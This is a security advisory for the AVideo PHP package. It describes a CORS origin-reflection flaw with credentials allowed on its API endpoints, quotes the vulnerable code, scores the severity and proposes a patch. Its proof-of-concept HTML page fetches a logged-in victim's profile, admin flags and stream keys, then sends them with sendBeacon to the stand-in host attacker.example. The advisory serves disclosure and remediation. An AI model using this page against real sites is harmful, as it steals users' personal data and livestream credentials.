CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover

High **DanielnetoDotCom** published **GHSA-ccq9-r5cw-5hwq** last week

Package

php **wwbn/avideo** (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

The `allowOrigin($allowAll=true)` function in `objects/functions.php` reflects any arbitrary `Origin` header back in `Access-Control-Allow-Origin` along with `Access-Control-Allow-Credentials: true`. This function is called by both `plugin/API/get.json.php` and `plugin/API/set.json.php` — the primary API endpoints that handle user data retrieval, authentication, livestream credentials, and state-changing operations. Combined with the application's `SameSite=None` session cookie policy, any website can make credentialed cross-origin requests and read authenticated API responses, enabling theft of user PII, livestream keys, and performing state changes on behalf of the victim.

Details

The vulnerable code path is in `objects/functions.php` lines 2773-2791:

```
// objects/functions.php:2773
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
```

```
        header('Access-Control-Allow-Origin: ' . $requestOrigin);
        header('Access-Control-Allow-Credentials: true');
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... allows all methods and headers ...
    return;
}
```

This is called unconditionally at the top of both API entry points:

```
// plugin/API/get.json.php:12
allowOrigin(true);

// plugin/API/set.json.php:12
allowOrigin(true);
```

The comment above the code claims "These endpoints return public ad XML and carry no session-sensitive data" — this is incorrect. The same `allowOrigin(true)` call gates the entire API surface.

The attack is enabled by the session cookie configuration at `objects/include_config.php:144`:

```
ini_set('session.cookie_samesite', 'None');
```

This ensures the browser sends the victim's session cookie on cross-origin requests, which the API then uses for authentication via `$_SESSION['user']['id']` (in `User::getId()`).

When a logged-in user's session is present, the `get_api_user` endpoint (API.php:3009) returns full user data without sanitization for the user's own profile (`$isViewingOwnProfile = true` bypasses `removeSensitiveUserFields`), including:

- Email, full name, address, phone, birth date (PII)
- Admin status and permission flags
- Livestream server URL with embedded password (API.php:3059)
- Encrypted stream key (API.php:3063)

The recent fix in commit `986e64aad` addressed CORS handling in the non-`$allowAll` path (null origin and trusted subdomains) but left this far more dangerous `$allowAll=true` path completely untouched.

PoC

Step 1: Host the following HTML on any domain (e.g., `https://attacker.example`):

```
<html>
<body>
<h1>AVideo CORS PoC</h1>
```

```
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect',
    JSON.stringify({
      email: data.user?.email,
      name: data.user?.user,
      isAdmin: data.user?.isAdmin,
      streamKey: data.livestream?.key,
      streamServer: data.livestream?.server
    })
  );
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>
```

Step 2: Victim visits the attacker page while logged into the AVideo instance.

Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:

```
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
```

Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.

Step 5 (optional escalation): The attacker can also invoke `set.json.php` endpoints to perform state changes on behalf of the victim.

Impact

- **User PII theft**: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
- **Account compromise**: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
- **Admin reconnaissance**: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
- **State modification**: The `set.json.php` endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim

- **Mass exploitation**: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor

Recommended Fix

Replace the permissive origin reflection in `allowOrigin()` with validation against the site's configured domain. The `$allowAll` path should validate the origin the same way the non-`$allowAll` path does:

```
// objects/functions.php:2773 — replace the $allowAll block with:
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        // Validate origin against site domain before reflecting
        $siteOrigin = '';
        if (!empty($global['webSiteRootURL'])) {
            $parsed = parse_url($global['webSiteRootURL']);
            if (!empty($parsed['scheme']) && !empty($parsed['host'])) {
                $siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];
                if (!empty($parsed['port'])) {
                    $siteOrigin .= ':' . $parsed['port'];
                }
            }
        }
        if ($requestOrigin === $siteOrigin) {
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            header('Access-Control-Allow-Credentials: true');
        } else {
            // For truly public resources (ad XML), allow without credentials
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            // Do NOT set Allow-Credentials for untrusted origins
        }
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... rest of headers ...
}
```

Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive `allowOrigin(true)` call.

Severity

High 8.1 / 10

CVSS v3 base metrics

Attack vector	Network

Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-41056

Weaknesses

▶ CWE-942

Credits

offset Reporter